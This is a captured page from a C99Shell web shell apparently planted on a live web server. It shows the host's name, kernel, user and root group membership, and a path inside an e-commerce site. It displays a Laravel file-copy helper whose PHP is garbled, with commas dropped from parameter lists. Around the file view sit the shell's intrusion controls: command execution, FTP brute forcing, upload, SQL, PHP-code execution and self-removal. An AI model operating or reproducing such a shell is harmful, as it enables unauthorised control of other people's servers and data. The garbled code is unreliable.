!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Upgrader/Entities/Handler/   drwxr-xr-x
Free 23.07 GB of 117.98 GB (19.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     File.php (1.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Upgrader\Entities\Handler;

use 
Illuminate\Support\Facades\File as BaseFile;

class 
File
{
    
/**
     * Copy a file or directory to another location
     *
     * @param string $src
     * @param string $dst
     * @return void
     */
    
public static function copy($src$dst)
    {
        if (
BaseFile::exists($dst)) {
            
// Delete the file or link or directory
            
if (is_link($dst) || is_file($dst)) {
                
BaseFile::delete($dst);
            } else {
                
BaseFile::deleteDirectory($dst);
            }
        } else {
            
// Make sure the PARENT directory exists
            
$dirname pathinfo($dst)['dirname'];

            if (!
BaseFile::exists($dirname)) {
                
BaseFile::makeDirectory($dirname0777truetrue);
            }
        }

        
// if source is a file, just copy it
        
if (BaseFile::isFile($src)) {
            
BaseFile::copy($src$dst);
        } else {
            
BaseFile::copyDirectory($src$dst);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--